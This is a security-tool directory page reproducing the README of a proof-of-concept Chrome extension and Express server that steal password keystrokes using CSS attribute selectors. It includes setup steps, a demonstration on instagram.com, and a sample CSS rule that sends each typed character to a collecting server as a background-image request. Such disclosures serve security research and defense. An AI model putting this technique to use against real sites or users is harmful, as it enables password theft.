Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CSS-Keylogging — Chrome extension and Express server that exploits keylogging abilities of CSS. | Kitploit
Tools/GitHubGitHub/maxchehab/css-keylogging
ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubmaxchehab/css-keylogging

CSS-Keylogging

Chrome extension and Express server that exploits keylogging abilities of CSS.

View Repository
3.2k42448 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CSS Keylogger

Chrome extension and Express server that exploits keylogging abilities of CSS.

To use

Setup Chrome extension

  1. Download repository git clone https://github.com/maxchehab/CSS-Keylogging
  2. Visit chrome://extensions in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place).
  3. Ensure that the Developer mode checkbox in the top right-hand corner is checked.
  4. Click Load unpacked extension… to pop up a file-selection dialog.
  5. Select the css-keylogger-extension in the directory which you downloaded this repository.

Setup Express server

  1. yarn
  • yarn start
  • Haxking l33t passw0rds

    1. Open a website that uses a controlled component framework such as React. https://instagram.com.
    2. Press the extension C on the top right of any webpage.
    3. Type your password.
    4. Your password should be captured by the express server.

    How it works

    This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image.

    For example, the following css will select all input's with a type that equals password and a value that ends with a. It will then try to load an image from http://localhost:3000/a.

    root@kitploit:~
    input[type="password"][value$="a"] {
      background-image: url("http://localhost:3000/a");
    }
    

    Using a simple script one can create a css file that will send a custom request for every ASCII character.

    Download Tool